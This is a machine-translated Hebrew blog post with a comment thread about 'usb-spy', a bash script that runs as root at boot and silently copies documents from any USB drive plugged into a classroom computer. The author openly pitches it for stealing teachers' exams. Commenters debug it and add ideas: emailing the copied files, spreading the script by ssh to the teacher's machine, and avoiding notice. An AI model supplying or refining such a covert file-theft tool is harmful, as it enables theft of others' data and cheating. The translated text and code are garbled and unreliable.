תמיד הייתי סטודנט חסר מנוחה, תמיד רציתי לנצל הזדמנויות כמו ... למשל, להעתיק את בחינות הסמסטר ממקל ה- USB של המורה או משהו כזה. כשהייתי בתיכון (מגמת מחשבים) רציתי לתכנת "משהו" שיעשה את הפעולות הבאות:
- זיהוי מתי מחובר התקן USB למחשב הכיתה
- העתק את כל התוכן מאותו מכשיר למחשב שלך
זה יאפשר לי לעבור את הבחינה הרבה יותר מוקדם, יהיה צורך רק שהמורה יחבר את זיכרון ה- USB שלו (pendrive) למחשב וזהו.
למרבה הצער במכון שלי היה Windows ו ... מעולם ומעולם לא למדתי לתכנת מערכת הפעלה זו.
עם זאת, כעת אני משתמש בלינוקס (ברור שלא? LOL!), ועם הידע שבמשך כל השנים האלה הצלחתי לרכוש, עכשיו כן! אני כבר יכול להשיג זאת באמצעות לינוקס 😀
כלומר, תכננתי סקריפט פשוט שעושה את הפעולות הבאות:
1. צור את התיקיה /home/.USBDRIVES/
2. זה בודק כל 5 שניות אם יש התקן USB (או CD / DVD) המחובר למחשב.
3. במקרה אחד מחובר, הוא ייצור תיקייה בתוך /home/.USBDRIVES/ עם שם ה- USB (לדוגמא: זיכרון -2 גיגה-בייט) וגם הוא יעתיק את כל הקבצים .doc, .pdf וכו '(הנה הרשימה) לתיקיה זו שיצרת זה עתה.
4. במקרה שאין USB מחובר, הוא פשוט ימתין 5 שניות כדי להתחיל שוב בבדיקה שהסברתי לעיל 😀
הנה התסריט והקובץ שמכיל את הפורמטים שיש להעתיק:
בכדי שהסקריפט יכול לעבוד ללא בעיות, עדיף שהוא יופעל עם הרשאות ניהול (root), מכיוון שברור שיש להתחיל אותו יחד עם המחשב, בדרך זו אנו מוודאים שאם המחשב הוא הופעל מחדש או כבוי, כשאני מפעיל את התסריט שוב הוא יהיה שם, מוכן לחלץ את כל מה שאנחנו רוצים מכל USB 😉
בואו נפתח מסוף ... פעם נפתח ...
1. נניח שיש לנו את שני הקבצים / העדיף / (/opt/usb-spy.sh y /opt/usb-spy.files), עלינו להעניק לו הרשאות ביצוע:
sudo chmod +x /opt/usb-spy.sh
2. אנו פותחים את הקובץ /etc/rc.local :
sudo nano /etc/rc.local
3. בו אנו כותבים מעל לשורה הסופית (צא מ- 0) הבא:
/opt/usb-spy.sh &
4. כעת אנו לוחצים על [Ctrl] + [X] כדי לשמור ולצאת מהקובץ, אנו לוחצים על [S] או [Y] (תלוי בשפת המערכת) ואז על [Enter]. זה יספיק כדי שהשינויים שביצענו יישמרו.
ושוב, זה יספיק כדי שהתסריט יתחיל כשורש כשאנחנו מדליקים את המחשב.
חשוב לוודא שהקובץ נמצא usb- spy.files נמצא באותה ספריה כמו usb-spy.sh ???
עכשיו ... אסביר קצת את הפעולה הפנימית של התסריט, מכיוון שאני יודע שיש הרבה אוהבי בש כאן.
Q: איך התסריט יודע שמכשיר USB מחובר? ת: בקובץ / etc / mtab של המערכת שלנו נמצאים ההתקנים או המחיצות המותקנים במערכת שלנו. דרך שורה 23 של התסריט ידוע אם יש USB מחובר או לא (עושה חתול ל- mtab ולתקשורת grep)
ש: כן, אבל כיצד התסריט יודע אם החתול והגרפ מחזירים לנו נתונים כלשהם או לא? ת: דרך א אם, אם כן, לולאה אחרת שמתחיל בקו 24.
Q: כיצד לגרום לו להעתיק רק קבצים עם סיומות רצויות? (.doc, .pdf וכו ')
ת: שימוש ב- rsync עם פרמטרים שונים, זה נמצא בשורה 34. בפשטות, עם rsync אני מעתיק רק את הקבצים התואמים את המסנן usb-spy.files, כל שורה היא מסנן כביכול. אני מעביר גם את הפרמטר --prune-empty-dirs
ל- rsync כדי שלא ייצר עבורי ספריות ריקות.
אין הרבה מה להסביר בפועל, התסריט ממש פשוט להבנה :)
אם למישהו יש ספק או שאלה, תלונה, רעיון או הצעה, אנא אמור זאת ואני מבטיח לעזור לו ככל שיכולתי.
ובכן, חשבתי לשים משהו כמו: «סקריפט זה מיועד למטרות חינוכיות בלבד, ואין להשתמש בו עם קבצים מזיקים»... אבל ... מה לעזאזל! השתמש בו לכל מה שתרצה, הגיע הזמן שלתלמידים יהיה יתרון כלשהו מול המורים המדכאים אותנו 😀
לגבי
רמאי ¬¬
XDDDD
לא בכלל ... אם בטח חשבתם באיזשהו שלב לעשות משהו כזה ... HAHAHA.
הצלת אותי מחידון פופ 😀 ... עכשיו שלך KZKG ^ גאארה אתה אלוהי ... שבח לך!
שלום, סקריפט טוב מאוד, אבל במגה הקובץ כבר לא קיים, אתה יכול לשלוח אותו למייל שלי, בבקשה
לינוקס הוא 1% ואתה אומר שמעולם לא למדת לתכנת חלונות ולכן ההדרכה מיועדת למערכת לינוקס, השאלה שלי היא: מה האפשרות למצוא מורה שמשתמש בלינוקס לביצוע ההדרכה?
התסריט או הטריק הזה "מיושמים" על מחשב שלא בהכרח צריך להיות האישי או הפרופסור של עצמו, מספיק שזה יהיה כל מחשב מאוניברסיטה או מכללה, ואז ניתן יהיה להשיג רק על ידי X או Y סיבה שהפרופסור מחבר את ה- USB שלך למחשב זה.
כן, זה מיועד לינוקס, אך באוניברסיטאות רבות יש לינוקס כמערכת במעבדות מחשבים, כמו גם אתחול באמצעות LiveCD ולא בהכרח התקנת לינוקס במחשב האישי 🙂
בערך 1%, אני ממליץ לך לקרוא את הפוסט הזה: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/
האפשרות שמטאוריט ענק ייפול על האוקיינוס האטלנטי בעוד כ- 30 דקות
זה נראה מעניין, יהיה צורך לנסות.
תודה
כלי השירות שיש בו אינו דבר נהדר, אך התסריט כשלעצמו מעניין ... מכיוון שתוכלו ללמוד ממנו כמה טיפים, למשל כיצד לדעת את ה- USB המחובר, גודל המחיצה וכו '🙂
מאמר מקורי ומבואר היטב KZKG ^ גאארה. לחיים!
תודה
איזו תעוזה !!!, ואתה מעז לכתוב את זה בבלוג OO, אני לא יודע מה לחשוב, יכול להיות שמישהו שלא אוהב אותו פרץ את גאארה טוב?
חוּצפָּה? למה?
למרות שמטרתו או מניע התסריט עשויים שלא להיות רציניים כמו שאר תרומיי, לתסריט, לקוויו ולוגיקת התכנות שלו יש הרבה מה לתרום, אני חושב.
אתה יכול לנצל כמה דברים מהתסריט הזה:
1. כיצד לדעת את גודל המחיצה ושמדובר במשתנה.
2. כיצד לבדוק אם יש USB מחובר ולחלץ את הנתיב ואת שמו.
3. אם-אז-אחר ובעוד לולאות.
בכל מקרה, אני לא חושב שזה לגמרי חסר תועלת או משהו כזה.
אני חושב שאתה מפרש את הערתי באופן שגוי, כלומר בתחילת המאמר שלך,
"תמיד הייתי סטודנט חסר מנוחה, תמיד רציתי לנצל הזדמנויות כמו ... למשל, להעתיק את בחינות הסמסטר מ- pendrive של המורה או משהו כזה." אם מה שאני אומר מפריע לך, אני מקווה שתסלח לי, זו לא הייתה כוונתי.
oO איזה בלוג מצוין, מאמרים טובים, קוראים טובים, משתמשים מתנצלים ... זה גן עדן חחח נטול טרולים.
תודה ^ - ^
אנו גאים במה שהשגנו עד כה, הקהילה הזו באמת גאה ... נהדר להיות חלק מכל זה 😀
לא לא בכלל לא, בכלל לא טרחתי xD
וכן היי זו הייתה טעות שלי כשפרשתי לא נכון את ההערה שלך hehehe, סליחה על זה 😉
שום דבר שההתנצלויות לא מגיעות ממני עכשיו, אצטרך לשטוף את הפנים כדי לראות אם אסיים להעיר את זה ... ממה שאני רואה, אני עדיין לא 100% HAHAHA.
ברכה חבר 🙂
אדם בסדר מאוד xD
הייתי רוצה שמחשבי הקולג 'שלי יקבלו muhahahjaja של לינוקס.
מאמר טוב!
אבל מי שרוצה לחקות את זה ב- Windows יהיה קל יותר, כי במקום שאין לך גישה לשורש במכונה אתה רוצה להשתמש בה, אתה לא יכול להשאיר אותה "לנצח". עם Windows זה לא קורה 😉
טוב מאוד היי.
הרעיון טוב, יש בו רק את החולשה שיש להשתמש בהרשאות שורש
ובכן, אתה לא באמת צריך להיות שורש ככזה ... אם אתה מצהיר בפני התסריט שהתיקיה לא תהיה /home/.USBDRIVES כלשוני, והיא אומרת למשל: / home / usuario /. USBDRIVES ... ואז הפעלת הסקריפט באמצעות «משתמש» תספיק 😀
זה רעיון טוב, אבל אני חושב שהיית חוסך את עצמך לשנות את ה- rc.local ולהריץ אותו כל דקה דרך crontab, וכך אתה נמנע מבעיה של הפעלת אותו כשורש והשאר, לעומת זאת, גם אם זה לא משפיעים רבות, אתם צורכים את זיכרון המחשב ללא תועלת כל 5 שניות כדי לבדוק אם ה- USB נמצא, גם כשאינו. ובכן זו נקודת המבט שלי
כלומר, תעשו בדיקה כל דקה, נכון? לא עשיתי את זה ככה כי ... מה אם USB מחובר ומנותק תוך פחות מדקה אחת? 😀
העדפתי לעשות את זה כל 5 שניות כדי לוודא שבאמת "תופס" את כל ה- USB 😉
אם לא הבנתי אותך, אנא תקן אותי 🙂
ברכות וברכה.
כן, בדקו כל דקה דרך cron, אבל לכל אחד יש דרך אחרת לראות את הבעיה, רק להסתכל על הקוד, לא יהיה עדיף לבדוק אם התיקיה /home/.USBDRIVES כבר קיימת לפני יצירתו, זו הצעה כלום יותר
לגבי
כן גם, זה פרט ששמתי לב אליו אבל ... הייתי עצלן לפתור את זה LOL!
כמו כן, אוכל לשים יומן שבו מוצגים הקבצים שהועתקו (יומן אישי לכל מכשיר), אולי אפילו לשלוח יומן זה בדוא"ל (באמצעות שיטה כלשהי למשלוח דוא"ל במסוף של אלה שהנחתי כאן באתר. ) ... אבל כמו שאמרתי לך, זה קצת עצלן אותי ^ - ^ U
חחח נהדר.
AHA! כך שניתן להשתמש בתוכנה שלך לרוע. לצחוק בקול רם!!! 🙂
הטריק בסדר, אבל ... מה אם תרצו לפרוק את ה- USB לפני שהסקריפט יסיים להעתיק את תוכנו? במקרה כזה היא תתלונן שהיא בשימוש וישימו לב שמשהו לא בסדר. 🙂
למעשה, המערכת לא תאפשר לפרוק את ה- USB מכיוון ש"משהו "ישתמש בו 😉
מְדוּיָק! ואז פרופסור אוסקר חושב שהוא מצא וירוס לינוקס. לצחוק בקול רם!! 🙂
גרמת לי לזכור פעם שעשיתי משהו דומה (ב- Uni שלי אם היו לנו לינוקס / חלונות), אבל הכנתי תוכנית C שיצרה אלפי תיקיות. ריפדתי את ה- USB לבחור שתקע אותו. מנהל מרכז המחשבים נדהם! הוא חשב שמצא וירוס ב- linuxx muajajajaja ... אההה .. באיזו זמנים היו אלה =)
ומה ההבדל בנגיף?
שהגעתי מרחוק ל- USB שלו והפעלתי את התוכנית 😛
hahahaha, אז זה היה XD גרזן
????
hehehehehe אז מצאת וירוס בלינוקס, נכון? … לצחוק בקול רם!!
זה פשוט לא עובד בשבילי xD, אם אני מנסה להריץ אותו מהטרמינל הוא אומר לי את זה: ./usb-spy.sh: שורה 31: [: -lt: צפוי מפעיל unary
נראה שמשהו לא בסדר בשורה זו: אם [$ USBSIZE -lt 15664800]; לאחר מכן
אבל אני לא יודע מה זה, מכיוון שהוא לא יוצר גם את ספריית .USB.
אם ניתן לפתור את זה אני יכול למצוא סקריפט שימושי.
נסה להחליף את df ב- / bin / df וודא להפעיל אותו כשורש.
אוקי, עכשיו אם זה יוצר את תיקיית .USB בספריית הבית, אבל זה ממשיך לומר לי דרך הטרמינל ש: "./usb-spy.sh: שורה 31: [: -lt: צפוי מפעיל unary" וזה לא ' לא להעתיק כלום, בשורה הזו בטח יש סכסוך כלשהו, אני מעריך את העזרה אם מישהו רואה אותה.
תודה רבה.
האם תוכל לתת לנו את התוכן של קובץ / etc / mtab כאשר ה- USB מותקן?
בטח, הנה זה הולך:
/ dev / sda12 / ext4 rw, שגיאות = remount-ro 0 0
proc / proc proc rw, noexec, nosuid, nodev 0 0
sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
אף / sys / fs / fuse / חיבורים fusectl rw 0 0
none / sys / kernel / debugfs debugfs rw 0 0
none / sys / kernel / security securityfs rw 0 0
udev / dev devtmpfs rw, mode = 0755 0 0
devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
tmpfs / הפעל tmpfs rw, noexec, nosuid, גודל = 10%, מצב = 0755 0 0
none / run / lock tmpfs rw, noexec, nosuid, nodev, size = 5242880 0 0
none / run / shm tmpfs rw, nosuid, nodev 0 0
binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
/ dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $
השורות האחרונות הן אלה של ה- USB / dev / sdb1 המותקן
בוא נראה אם קיבלנו את זה. 🙂
תן לנו את הפלט של הפקודה df. ונסה להוסיף את השורה:
הד $ USBSIZE
ממש מול אם זה נותן את הבעיה וספר לנו מה יוצא בעת הפעלת התסריט. זה צריך להיראות כך:
USBSIZE = `/ bin / df | grep $ USBDEV | awk {'הדפס $ 2'} '
הד $ USBSIZE
אם [$ USBSIZE -lt 15664800]; לאחר מכן
ובכל מקרה, ספרו לנו גם מה התפוקה של פקודת df זו.
בסדר, בחלקים, הפקודה df מחזירה לי את זה:
מערכת קבצים 1K- בלוקים בשימוש זמין שימוש% רכוב על
/ dev / sda12 54082300 45246956 6125892 89% /
udev 2004028 4 2004024 1% / dev
tmpfs 805768 1180 804588 1% / ריצה
אף אחד לא 5120 0 5120 0% / ריצה / נעילה
ללא 2014420 92 2014328 1 XNUMX XNUMX% / ריצה / shm
/ dev / sdb1 1023200 322256 700944 32% / מדיה / DOCU 3
הפקודה ש- df מחזירה לי: / bin / df
ואז שמתי את ההד $ USBSIZE והתוצאה זהה, היא לא מדפיסה שום דבר חדש, אבל השגיאה שלפני, הדבר המצחיק הוא שזה קורה עם ה- USB שאני בודק, אם אני שם את הכונן הקשיח החיצוני בנפח 500GB. כן, הוא מחזיר את גודל הדיסק על המסך, אך ה- 500 עולה על 16 של ה- if, ולכן עם הדיסק הקשיח הוא לא עושה כלום.
אבל עם ה- USB זה לא עושה כלום, מלבד להראות את השגיאה: ./usb-spy.sh: שורה 34: [: -lt: צפוי מפעיל unary
זה כאילו לא יכול היה להציג את גודל ה- USB, אבל עם הפקודה df אני מקבל את גודלו.
תודה על העזרה, בוא נראה אם נצליח להשיג אותה!
רק למקרה שהפקודה לא נראתה טוב כאן אני משאיר צילום מסך: http://i48.tinypic.com/j5dvn5.jpg
אני רואה שב- mtab הנתיב שבו הוא מופיע רכוב הוא «/ media / DOCU403» ואילו ב- df זה מופיע «/ media / DOCU 3». זה גורם ל grep לא למצוא אותו ולא מחזיר את הגודל. נסה לשנות את השורות הראשונות של ה- for כך שייראו כך:
עבור USBD ב- `cat / etc / mtab | grep media | awk '{print $ 1}' '';
do
USBDEV = `cat / etc / mtab | grep $ USBD | awk '{הדפס $ 2}' ''
USBSIZE = `/ bin / df | grep $ USBD | awk {'הדפס $ 2'} '
השינויים מורכבים משינוי שם המשתנה עבור ל- USBD, שינוי ה- $ 2 בסוף השורה עבור ל- $ 1, הכנסת השורה שמתחילה ב- USBDEV ממש אחרי ה- do ושינוי USBDEV ל- USBD בשורה שמתחילה. עם USBSIZE ... אני מקווה שלא התעסקתי. 🙂
הרעיון הוא לעשות את ה- for לפי שם המכשיר במקום לפי נקודת ההר.
הבעיה הייתה שב- mtab כאשר למכשיר יש רווחים ... זה שם כמה תווים "מוזרים" על הקו, דווקא במקום החלל.
שום דבר, פשוט לפתור כמו שינוי אופן ייעודו של $ USBDEV, בשורה 28 שנה אותו והגדיר אותו כך:
for USBDEV in `df | grep media | awk -F / {'print $5'}` ;
????
תן לי לראות אם אני יכול לעזור לך ...
המפעיל האונירי מראה את זה כי הוא לא מאתר את גודל הדיסק, זה קורה בגלל שהוא לא בודק את זה, זה קורה בגלל שהוא נקרא
מסמך 3
ולוקח את זה כשני ערכים, אם זה היה DOCU זה לא היה פותח בעיה
אולי זה יעבוד בשבילך
http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html
ברכות 🙂
אכן זו הבעיה, מכיוון שבדיוק ניסיתי עם USB אחר שיש לו שם עם מילה ללא רווחים, לדוגמא "מחלקות" והתסריט עובד ללא בעיות, זו הסיבה שהוא זיהה את הדיסק הקשיח ולא את הזיכרונות, אבל עכשיו הדבר הוא בידיעה כיצד אני מכניס את הציטוטים לקוד התסריט, האם עלי להכניס אותם ל "$ USBNAME"?
תודה רבה לאתיאוס והקסבורג על העזרה, זה כמעט נגמר.
בעצם סמפרומס זה סופר פשוט לתקן 😉
שורה 28 ... שנה את זה לזה:
for USBDEV in `df | grep media | awk -F / {'print $5'}` ;
פשוט עשיתי את הבדיקה עם השינוי הזה וזה עובד מצוין עם מכשירים שהתווית / שם שלהם יש רווח :)
עכשיו אעשה את השינוי בתסריט להורדה.
טוב מאוד. אז קל לתקן. 🙂
אההה, גאוני מאוד 😀 אני אקח לב למקרה שאצטרך ...
KZKG ^ גאארה, עם הסידור הזה זה עובד בצורה מושלמת, עכשיו אם אעתיק את ה- USB עם מקום בשם, תודה רבה לכולם על העזרה, אנסה לראות אם אוכל לגרום לו לרוץ עם אתחול המערכת וככה בדוק כל מחזור אם יש USB מחובר.
בסופו של דבר השגנו את זה xD.
^ - ^ ... נחמד היי.
הבעיה הייתה שהשתמשתי ב- mtab כדי לזהות את ה- USB, יכולתי פשוט להשתמש ב- df ... השתמשתי ב- mtab כי חשבתי שיהיה מעניין להסביר להם את הקובץ הזה, שהם יודעים את זה, אבל לא חזיתי שזה שגיאה תתרחש במכשירים עם רווחים lol.
כל שאלה או בעיה שתשאיר אותה אמרה, כמעט כולם כאן אוהבים לעזור xD
לגבי
כמובן. אנחנו לינוקסים. אנחנו תמיד מקבלים את זה. XD.
התקן שד במחשב המורה שייצור תיעוד של כל קבצי ה- .doc, .docx, .odt, .pdf וישלח אותם אליך בדואר. כמו גם סריקת המחשב מעת לעת בחיפוש אחר שינויים, קבצים חדשים או מחיקות ברישום האמור, וכל חדשות תשלח אליך גם את הקובץ ששונה או חדש בדואר.
כמו כן, אני חושב שיותר מביזה, ביצוע התסריט הזה (וכמו שורש !!!!) הוא התאבדות. אתה הופך את החיים והדברים לקלים ב -700% לכל מי שמעוניין להכניס קובץ למחשב שלך עם הרשאות שורש והכל. זכור כי הרחבות אינן קיימות בלינוקס וכי .doc בלינוקס יכול להיות זהה לטקסט, וידאו או גרוע מכך, סקריפט (הפעם בכוונות רעות מאוד).
הפעלת אותו כשורש אינה הכרחית לחלוטין, פשוט הגדירו את התיקיה שבה התוכן יונח איפשהו שלמשתמש הפועל יש הרשאות כתיבה (למשל, בית משלו) וזהו 🙂
בקבצים מסוכנים ... ובכן, אתה יכול להוסיף כמה שורות שהיו chmod -x לכל הקבצים, ובכך לאבד את מאפיין הביצוע.
הוספתי שורות אלה בהתחלה כדי למחוק את התיקיה .USBDRIVES אם היא כבר נוצרה:
אם [-s $ PLACE]
ואז rm -r $ PLACE
fi
בדרך זו, זה לא ייתן את השגיאה של "הספריה הקיימת כבר", כלומר, אם אתה צריך להיזהר שאין שום דבר בתיקיה .USBDRIVES שאנחנו לא רוצים שיימחק, מכיוון שהיא תמחק אותה ותשים אחר במקומו.
כדי להוסיף פורמטים חדשים של קבצים, פשוט כתוב אותם ל- usb-spy? לדוגמא .jpg .mp3 וכו '.
כדי להוסיף סוגי קבצים חדשים הכנס אותו ל- usb-spy.files
התבונן בתוכן הקובץ ותראה כיצד להוסיף אותם, זה די פשוט 😉
אם אנחנו באותה רשת, ויש מכונה של מורה, הדבר המעניין יהיה לעשות מיפוי רשת, יתכן שיהיה לנו ssh במכונות ובאופן זה להפיץ את הקוד במכונות המעבדה או אפילו במכונת המורה. .... זה נותן לי רעיונות כה רבים: $
שלום, אני מברך אותך על ההודעה ועל כל תרומתך, אבל יש לי שאלה לבדוק אם מישהו יכול לפתור את הבעיה הזו:
בדקתי את הסקריפט שלך במחשב עם ubuntu 12.04LTS (עם Unity) וזה עבד בצורה מושלמת, אך מכיוון שראיתי שהוא מפסיק לבצע את הסקריפט הזה לאחר הפעלתו הראשונה, מכיוון שהתיקיה .USBDRIVES כבר נוצרה, החלטתי להשתמש ישירות בתסריט אחר זה של מחברך אשר פורסם בחלק אחר של פורום זה
הנה אני מעתיק את התסריט כדי שתוכל לאתר את עצמך
#! / bin / bash
#
# - * - קידוד: UTF-8 - * -
# תוכנית זו היא תוכנה חופשית. אתה יכול להפיץ אותו מחדש ו / או
# שנה אותו תחת תנאי הרישיון הציבורי הכללי
GNU # כפי שפורסם על ידי קרן התוכנה החופשית,
או גרסה 2 של הרישיון האמור או (תלוי ב
# בחירה) של כל גרסה מאוחרת יותר.
#
# אם אתה מבצע שינויים כלשהם ביישום זה,
# צריך תמיד להזכיר את המחבר המקורי של אותו דבר.
#
#Copyleft 2012, DesdeLinux.net {הוואנה סיטי, קובה}.
מחבר #: KZKG ^ גאארה
בעוד = 0
בעוד [$ CONTROL = 0]; לַעֲשׂוֹת
חתול / וכו '/ mtab | grep media >> / dev / null
אם [$? -ne 0]; לאחר מכן
COUNTER = 0
אחר
COUNTER = 1
: $ {USBDEV: = `cat / etc / mtab | grep media | awk '{print $ 2}' '/ »}
cp $ USBDEV / * / home /
fi
לישון 5
עשה
צא מ- 0
הנושא הוא הבא באובונטו12.04 lts אחדות שהתסריט האחרון פועל בסדר ועובד אבל כשאני מוריד לאחור את אותו המחשב מסיבה "x", ומנסה לגרום לו לעבוד באובונטו 10.10 לא, אני יכול לגרום לזה לעבוד
מצד אחד, היא מטילה שגיאה ולא קוראת את כונני העט שיש להם שם מורכב, למשל: DATA-G, וגם לא מעתיקים את הקבצים שיש להם שם מורכב. מלבד בעיה זו יש לי את הבעיה שהתסריט מבוצע רק כאשר המחשב מופעל מחדש פעם אחת.
השאלה תהיה: כיצד אוכל לגרום לתסריט להעתיק לי כונני עטים וקבצים עם שמות מורכבים
ואם אני משתמש ב- crontab או שאני יכול לתזמן את זה לעבוד בזמן מסוים
פרט נוסף, באובונטו 10.10, כאשר הוא משתמש ב- Gnome אני רוצה להוסיף אילוצים שיש לקחת בחשבון, כאשר נותנים הרשאות ביצוע לתסריט, עליו להיות ממוקם ב /etc/init.d לא ב- / etc /
(קחו בחשבון שעליכם להדביק אותו שם ומגיעים מהטרמינל עם sudo nautilus)
מצד שני מימד אחר יהיה שלאחר ההדבקה שם כדי לראות אם ניתן לבצע אותו, זה חייב להיעשות במסוף אחר
סודו סו (להיות שורש)
סיסמא
ls
cd / etc / init.d
ll -l
ושם אנו קופצים אם הוא פועל או לא
ואז באותו מסוף או במסוף אחר בזמן אחר להיות כשורש ולהיות ב- etc / init.d (כלומר עד שלב cd / etc / init.d) כמו במסוף הקודם אנו ממשיכים כדלקמן כדי לתת לו הרשאות ביצוע
sudo chmod + x script.sh
ברירת המחדל של עדכון -rc.d script.sh היא 80
אתחול מחדש
אני חוזר על כך שזה יופעל אוטומטית באובונטו 10.10 אם זו גרסה אחרת כמו 12.04 אתה צריך לעשות מה KZKG ^ גאארה אומר
ושאלה אחרונה, איך אני רוצה להעתיק את התוכן (עד 3 תיקיות משנה של ה- pendrive) לבית או לתיקיית בית מוסתרת או לא, נניח שזה היה .USDDRES
בקוד לא הייתי צריך לומר
cp -r /media/*/*/*/home/.USBDRIVES/*
בקיצור, כדי להשיג את מה שאני רוצה, איך התסריט צריך להישאר?
מכיוון שכבר ניסיתי לשנות את הקו ששינו ל- usb-spy sh אבל לאותו אחד אחר שמתעד ישירות בבית וזורק שגיאה על הקו שהשתנה.? בברכה . תודה
אני לא יכול להוריד את התסריט השני
טוב מאוד. 😉
ואם אני לא עושה את הצעדים שאתה מכניס, מה קורה? האם הוא לא פועל או שהוא פשוט פועל אך ללא שורש? אם למחשבים יש מערכת שלדברינו משחזרת את כל התצורה הפנימית של המחשב בעת כיבוי, האם זה יעבוד? תודה.
במקרה שלמערכת יש 'משהו' שמוגדר כברירת מחדל לתיקייה / home / אז עליך לשנות את הסקריפט, שם כתוב / home / לשנות אותו ל- / opt / או לתיקיה אחרת שאינה מושפעת.
אני חושב שכדי לשפר את הסקריפט ולהימנע מלהבחין בחדירה ב- pendrive, הדבר האופטימלי יהיה לתעדף את סוג, גודל הקובץ. לדוגמה, השאר קבצים גדולים של 100 מגה או יותר לסוף האחרון. או קודם להעתיק קבצים doc, docx, txt, pdf, xml, ... וכו 'וכו' וכו 'והשאיר קבצי avi, mp4, mkv לסוף ...
שלום, הרעיון טוב. רציתי לשאול שתי שאלות:
- האם ניתן לעשות זאת הפוך? הכין סקריפט למגביל, שהוא מתחבר לכל מכונה ומחלץ קבצים.
- עובד עבור מערכת ההפעלה של חלונות?
שלום,
אני לא בטוח איך ניתן לעשות שכאשר מחברים את pendrive, אותו pendrive מבצע בעצמו סקריפט שיש בו בפנים.
ולא, סקריפט זה לא עובד עבור Windows 🙂
אוקי, תודה שענית לי, אני אבדוק איך לעשות את זה
איזה תסריט טוב. ניתחתי את זה, וזה נראה לי מדהים, אני מקווה שיום אחד אוכל גם ליצור תסריטים מעשיים כאלה.
תרומה מצוינת, אם כי השירות שאני אתן לו אינו בדיוק מה שגידלת אותו, אם אני משתמש בו לצורך גיבוי קבצים של קבוצת משתמשים, התנהגות שגויה שיש לי ... hehehehe ....
כשאני מנסה להפעיל זה נותן לי את שורת השגיאה 31: [: יותר מדי טיעונים
הסר את השורה כדי לראות אם זה עבד. ומתברר שזה הקו שמגביל את גודל המכשירים.
כשמסירים אותו מעתיק את מה שיש לי במחיצות המותקנות שלי 🙁
היי, אני חדש ואני יודע שהסיר ישן אבל אהבתי אותו מאוד, התסריט שלך מאוד חינוכי
תודה ששיתפת אותו והסברת אותו בפירוט ...
ברכה
חבר, הצלת אותי, הייתי צריך להסיח את דעתך של המורה ולהכניס את ה- USB למחשב הנייד שלי ואז חחחחחחח עבר את הבחינה והערות מכל ההה
האם תוכל להעביר לי את התסריט, הקישור למטה
אתה יכול להעביר לי את התסריט שהקישור למטה
kzkggaara, האם תוכל להעלות מחדש את הקבצים? הקישורים למטה: /, תודה רבה
אתה יכול להעלות קישורים בבקשה?
שומע! דוֹד! נפלת שבחים אתה יכול להעלות אותם שוב!
בסדר! : v
טוב, אני עושה את זה שוב כי אני לא יודע אם הועלה מה שרציתי לומר ...
ובכן זה שיש לך את הקישורים למטה אתה יכול להעלות אותם!
הקישורים למטה !!!
הגש מחדש את הקישורים בבקשה @ usemoslinux אני חוקרת בנושא, תודה!
ניתן להוריד את התסריט מכאן. אני חושב שזה אותו הדבר
https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk
ובכן אז ....
אני חושב מנקודת המבט הצנועה שלי שזה מאמר נהדר, ובכן, אם יש אנשים שאומרים שאתה רמאי, אז אני חושב שזה על פי המטרה שלשמה אתה משתמש בתוכנית.
אני אישית אהבתי יותר את הכרת שפת התכנות של לינוקס מכיוון שעבדתי רק בג'אווה, תודה חבר, עוררת את העניין שלי לדעת יותר על השפה עבור לינוקס.
אני מודה לך.
שלום חברים, מכיוון שמצאתי דרך אחרת להשתמש בתסריט זה היא על ידי גיבוי, אני אדבר איתכם קצת יש לי שני מכשירים, מצלמה ו- HDD, מה שאני רוצה זה שבמקום להקליט את הקבצים, הקבצים המקומיים נשמרים אותם ב- HDD חיצוני מהמצלמה ל- HDD אבל זה נותן לי שגיאה שאומרת "יותר מדי ויכוחים" אתה יכול לעזור לי
זה עובד רק עם מכשירים עם מערכות הפעלה לינוקס?
מישהו יעלה את זה, בבקשה!
שלום, אין לי לינוקס ובית הספר שלי משתמש ב- Windows, השתמשתי באפליקציית לכידת ה- USB ואני מעתיק רק 5 קבצים מזכרון המורה, אני חושד של- usb יש הגנה, כי אותו דבר קרה פעמיים, יהיו עוד כמה דרך להפחית את המידע המלא מאותו USB?
לך אם אתה אומר שהקוד יהיה פשוט, כי נראה מאוד מעניין לראות את השיטות עובדות כדי לראות אם USB מחובר או את גודל המחיצה. חבל שהסירו את התסריט mega.nz, האם תוכל להעלות אותו שוב?
ברכות ועבודה נהדרת, פשוט אך פונקציונלי אפילו להכנת עותקים מ- USB !!!
טוב!
הרגע נכנסתי לפוסט בבלוג שלך, ואני באמת מעוניין. מה שקורה הוא שכשאתה נותן את קובץ ה- zip שמפנה אותך למגה, המשמעות היא שהקובץ כבר לא זמין.
תהיתי אם אתה יכול לשלוח לי את הקבצים האמורים להוריד.
תודה רבה וברכות!
הטכנולוגיה נוהגת להתכווץ ככל שיחלפו השנים. וזה קרה במידה מדהימה עם כונני מצב מוצק (SSD). עכשיו אתה יכול להשיג אותם באותו גודל כמו כונני הבזק מסוג USB המהירים ביותר.
https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/
אתה יכול לשלוח לי את הקובץ או להעלות אותו שוב? זה יוצא שאי אפשר להוריד